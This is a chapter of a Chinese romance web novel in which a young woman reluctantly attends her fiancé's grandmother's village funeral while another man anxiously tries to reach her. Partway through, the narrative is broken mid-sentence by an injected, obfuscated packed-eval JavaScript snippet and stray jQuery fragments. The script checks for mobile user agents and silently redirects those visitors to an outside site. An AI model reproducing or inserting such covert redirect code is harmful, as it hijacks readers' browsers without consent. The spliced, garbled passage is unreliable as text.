文钰请了三天假。
潘羡臣钉钉上收到请假申请的时候，文钰已经坐上了去往下河村的城乡大巴。她请的是丧假。潘羡臣点了审批通过，又把彭雁叫进来，问她文钰请丧假的事。
彭雁说：“她和我说得很临时，我也是刚刚才知道。”
“她家谁去世了？”
“这我不清楚。”
潘羡臣点头，让彭雁出去了。他手头上有不少工作，但此时没有工作的心思。昨晚他刚出差回来，得知了严芊芊和蒋进的事，根本没时间和文钰好好相处。今天上班，文钰又请假了。
她什么都没和他说。他甚至比彭雁知道得还要迟。
潘羡臣的感觉很不好。一支黑色中性笔在他指间转啊转，像他此刻不安焦躁的心。
想了想，他还是忍不住发微信给文钰：你还好吗？
他捏着手机等了一会儿，微信跟死了一样毫无反应。潘羡臣开始做这些天积攒的事，文件刚打开看了两眼，他又扭头去看手机。
没回复。
他继续工作。这回坚持了五分钟。
没回复。
潘羡臣拧着眉，把微信从后台划掉，然后又从主页面重新点开。结果是一样的。
他很想给文钰打电话，但又担心她正在忙。他也不太想给文钰打电话，出了这么大的事，她一声不吭，什么也没和他说。他在生气。他凭什么跟小狗似的摇着尾巴去贴她？
一上午，潘羡臣什么工作都没完成。随着微信越发寂静，他的脸色也越发铁青。
行。他是狗。他摇尾巴。他先低头。
潘羡臣给文钰打电话。
文钰没接到。她手机静音了。城乡大巴又破又旧，在泥泞的山路上摇摇晃晃地行驶。大巴里有一股令人作呕的气味，文钰有点晕车，脸色发白地靠坐着，眼睛紧闭着，她不想看车上这些十分陌生的亲戚。
凌晨两三点，温于把她从睡梦中晃醒。温于的奶奶去世了，老家那边打来电话，让他们现在就赶过去。
文钰洗了把脸清醒了点，温于已经穿戴整齐在玄关等她。她望着他沉默的脸，试探地问：“我必须要去吗？我们还没结婚。我多出一些帛金，可以吗？”
温于静静的视线扫向她。温于和奶奶关系不亲，从小他就跟着父母搬出下河村，和奶奶的见面次数寥寥无几。养在奶奶身边的是温于的堂弟，他们的关系更像亲祖孙。但温于是家中长子，这种场合他必须挑起大梁。
“但我们已经订婚了，我的家庭、我所有的亲戚都认了你了。”温于说，“你不出席，那些人会怎么想？怎么看我和我爸妈？”
文钰抿抿唇，不置可否。
温于提醒她：“晚上你说你要去酒吧接人，我二话不说陪你去了。看在这个面子上，你就不能帮帮我？”
文钰：“……”
“你去了不用做什么，跟着大流就好了。”温于看出文钰同意了，侧开身让出路，说，“走吧。”
他们开车到一片野外停车场，大巴在那里等待。车里已经坐了不少人，温于依次和他们打招呼，也向他们介绍文钰。
有个上了年纪的、也不知是温于叔叔还是伯伯的男人上下打量着文钰，笑呵呵地说：“温于好福气啊，老婆长得真漂亮！”
文钰看了他一眼，他咧嘴笑的时候露出不太整齐的黄牙，和他黝黑的肤色倒是相配。文钰不禁想到了她看过的鬼故事里的乡村老尸，顿时令她起了一层鸡皮疙瘩。
温于带着她在后排坐下。颠簸的时间太久，文钰胃里好难受，有强烈的呕吐冲动。温于专注地望着窗外，没注意她。过了一会儿，他说：“到了。”
下了车，乌泱泱一群人迁徙似的挪动着。不远处架了个临时大棚，有挂着皮围裙的阿姨拿着自来水管在冲洗很大的铁盆。
温于说：“先进棚吃早饭。”
早饭很简单，几张大圆桌上摆着类似的包子、稀饭、豆奶之类。棚里的人来来去去，各顾各的，和文钰擦肩而过很多人，她一个都不认识。刚刚晕车还没缓过来，现在闻到肉包子的气味，她一点胃口都没有。
“你吃吧，我吃不下。”文钰走出棚子去外面透气。
下河村依山傍水，环境清幽。这里远离现代化都市，一路过来少见高楼大厦，一排排矮屋和一块块农田是这里的主旋律。
现在天色已大亮，忽然，哗的一声，远处的山林里飞过不知数量的鸟，落下一阵鸟啼。
过了一会儿，温于和几个中年男人从大棚里出来。文钰谁都不认识，只能跟在温于后面。温于把她带到一座简陋的活动板房前，吩咐她先在这儿等着，就被其他人喊去忙东忙西了。
文钰左右看看，身后紧邻一片密林，身前是忙碌的人群，所有人都在干自己的事，没人顾得上她。她像一个另类，孤零零地杵在那儿。
她拿出手机看了看，没有信号。
等了好久，温于还没回来。文钰想上卫生间，她随手拦了一个附近的妇女询问。妇女看看她，手往一个方向一指，一边带着她走，一边说：“你是温于老婆吧？”
文钰含糊地应了一声。
“你们什么时候结婚啊？我们等着喝你们喜酒呢！”
这问题文钰没法回，朝妇女干巴巴地笑笑。
“到了，拉吧。”
“……”
文钰看了看眼前的“厕所”，很为难地站着。妇女了解地问：“是不是不习惯旱厕？那没办法，现在条件简陋，只能将就。”
“……我先不上了。”这里好臭，文钰屏住呼吸，想赶紧离开。
妇女说：“人都要吃喝拉撒，不上厕所怎么行？你要在这儿好几天呢，怎么搞？要不让温于带你回老屋去，那儿有抽水马桶。”
“……谢谢，我一会儿和他说。”
文钰走回原地，温于不知何时已经在那儿站着了。文钰心急地迎上去，温于也看到她，问：“你去哪儿了？我不是让你在这儿等我吗？”
“温于，我想上厕所。”
温于顿了下，知道文钰不会上旱厕，得带她去老屋里。但现在事情多得很，回老屋得开车，他还得向亲戚借车。
温于紧皱着眉，但还是借了辆皮卡送她回去。上完厕所出来，文钰对温于说：“我饿了。”
温于：“……”
温于：“谁让你不吃早饭的？现在都什么时候了，你让我上哪儿给你弄吃的？”
文钰回头看看老屋：“那里面会不会有吃的？”
温于：“……”
他急糊涂了。温于跳下车，冲进老屋，不多时，端着一盒饼干出来递给文钰。
皮卡开了。又是一阵颠簸。
文钰手里拿着不知什么品牌的饼干，看了看保质期。已经过期两年了。老人都爱囤东西，过期了也不舍得扔，到现在还没开封。
饼干肯定不能吃了。
文钰看了看温于紧绷的侧脸，什么也没说。算了。
仍旧回到那个地方。温于指了指临时搭建
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270844|182287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的活动板房说：“你去里面休息一下，有事我喊你。”
文钰走进去，里面已经有几个男女坐在板床上休息。他们互不认识，相互笑笑点点头就当打招呼。文钰学他们随便找了张板床坐下，他们在低声交谈，嘴里吃着苹果。文钰饿着肚子，不去看他们。
她想回家。
文钰捂着肚子，眼眶发酸。她把手机拿出来，无意识地左右划着主屏幕页面。信号时有时无，点开微信，顶端的圈圈一直在转，始终刷不出新信息。
她想念潘羡臣。
潘羡臣刚刚出差回来，他们都来不及说几句话，又见不到面了。
文钰点开和潘羡臣的聊天记录，一字一行仔仔细细地看。
啪嗒——她的眼泪砸到了手机屏幕上，把潘羡臣对她说的话晕开了，看不清了。她急忙把眼泪抹掉，那句话又能看得真切了。
外面忽然放起了鞭炮，噼噼啪啪响个不停。
温于进来找她，说：“吃午饭了，吃完稍微休息一下，养足精神，晚上还要守灵。”
“守灵？”文钰惊讶地说，“你没和我说还要守灵。”
温于有点不耐：“丧葬习俗本来就是这样的，不止你，还有我，还有别人一起。”
“我可以不去吗？”文钰说，“我害怕。”
温于奇怪地看着她：“有什么好怕的？里面躺着的是我奶奶，又不是鬼！”
“……”
文钰囫囵吞枣地吃了点食物，心底一直惴惴。认识温于以来，她一次都没见过他的奶奶。现在人死了，她居然要为她守灵？
一个陌生人躺在那儿睡觉，她都不乐意守在边上，更何况是一个陌生的死人。
天很快擦黑了。温于奶奶的尸体停放在温家祠堂里，大红的灯笼挂在门口，有一种诡异的中式恐怖。文钰忐忑地在祠堂外走来走去，她甩着伤未痊愈的右脚，把地上的泥土蹭得凹下一口浅坑。
她不断地取出手机看时间，每分每秒都过得像一月一年那样漫长。不知是哪个时刻，手机突然叮咚连响。手机收到了信号。
文钰打开微信，好几人给她发了消息。她寻找着，潘羡臣的微信夹在中间，她点开看。
[你还好吗？]
[？]
[在忙？]
[你现在在哪里？]
[看到消息回复我一下。]
[对方未应答]
[接电话。]
[对方未应答]
[对方未应答]
[对方未应答]
[你在哪里？我来找你。]
[对方未应答]
最近通话里也有潘羡臣的未接来电。
这一连串消息像惊雷一般在文钰心底砰砰炸开。当她在不断思念他的时候，他也在不断寻找她。仿佛在这一刻，他们之间有一根看不清摸不着的线连接着，文钰通过这根微微颤抖的线，感受到了潘羡臣的着急、担心、慌乱。
她迫不及待地想要联系他，捧着手机的双手像那根无形的线一样在细微地颤抖。
又没有信号了。
文钰把手机对天举起，来回不断地走着，捕捉着可能存在信号的地方和时刻。
走着走着，她不知走到了哪里。手机的信号格像病床上的心跳一样微弱。她蹙着眉，紧盯着那微弱的变化。
这时，她的手腕忽然猛地被人抓住。文钰浑身一抖，回头，温于急躁的脸埋在周围的黑暗里，他瞪着眼睛说：“你在干什么？”